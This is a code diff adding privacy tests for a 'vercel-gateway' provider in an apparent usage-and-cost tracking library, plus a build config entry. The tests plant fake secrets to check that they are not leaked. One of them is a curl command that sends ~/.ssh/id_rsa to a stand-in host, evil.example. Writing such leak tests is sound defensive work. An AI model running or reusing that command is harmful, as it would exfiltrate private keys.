+    expect(calls[1]?.model).toBe('unknown')
+    expect(calls[1]?.timestamp).toBe('2026-06-04T12:00:00.000Z')
+    expect(calls[1]?.sessionId).toBe('2026-06-04:unknown')
+  })
+})
+
+describe('vercel-gateway observations', () => {
+  const SECRETS = {
+    prompt: 'SECRET PROMPT: reset the production database and email me the dump',
+    absPath: '/Users/victim/company/secret-plan.md',
+    apiKey: 'sk-live-AKIA1234567890SECRETKEY',
+    commandLine: 'curl https://evil.example/exfil?data=$(cat ~/.ssh/id_rsa)',
+    fileContent: 'BEGIN RSA PRIVATE KEY line1 line2 END RSA PRIVATE KEY',
+  }
+
+  function buildEnvelope() {
+    const { calls } = decodeVercelGateway({
+      records: [
+        {
+          day: '2026-07-17',
+          model: SECRETS.prompt,
+          total_cost: 1.23,
+          input_tokens: 100,
+          output_tokens: 50,
+        },
+      ],
+    })
+    const { sessions } = toObservations(
+      { sessionId: 'report-2026-07-17', projectPath: SECRETS.absPath, calls },
+      { privacyKey: 'test-privacy-key', provider: 'vercel-gateway' },
+    )
+    return {
+      schemaVersion: OBSERVATION_SCHEMA_VERSION,
+      generator: { name: '@codeburn/core', version: '0.0.0-test' },
+      sessions,
+    }
+  }
+
+  it('produces a schema-valid envelope', () => {
+    expect(ObservationEnvelope.safeParse(buildEnvelope()).success).toBe(true)
+  })
+
+  it('contains at least one call (non-vacuous)', () => {
+    const env = buildEnvelope()
+    const callCount = env.sessions.reduce((sum, s) => sum + s.calls.length, 0)
+    expect(callCount).toBeGreaterThan(0)
+  })
+
+  it('emits no free text except the model identifier (identifier-exemption convention)', () => {
+    const env = buildEnvelope()
+    const serialized = JSON.stringify(env)
+
+    // The model field is an API identifier and is emitted by design; the planted
+    // secret in model is therefore expected to appear there and only there.
+    expect(serialized).toContain(SECRETS.prompt)
+    expect(serialized).not.toContain(SECRETS.absPath)
+    expect(serialized).not.toContain(SECRETS.apiKey)
+    expect(serialized).not.toContain(SECRETS.commandLine)
+    expect(serialized).not.toContain(SECRETS.fileContent)
+  })
+
+  it('exposes the provider-reported cost as measured', () => {
+    const env = buildEnvelope()
+    const call = env.sessions[0]?.calls[0]
+    expect(call?.costBasis).toBe('measured')
+    expect(call?.measuredCostUSD).toBe(1.23)
+  })
+})
diff --git a/packages/core/tsup.config.ts b/packages/core/tsup.config.ts
index 26e5d52a..9846e7e8 100644
--- a/packages/core/tsup.config.ts
+++ b/packages/core/tsup.config.ts
@@ -44,6 +44,7 @@ export default defineConfig({
     'src/providers/opencode-session/index.ts',
     'src/providers/antigravity/index.ts',
     'src/providers/kiro/index.ts',
+    'src/providers/vercel-gateway/index.ts',
   ],
   format: ['esm'],
   target: 'node20',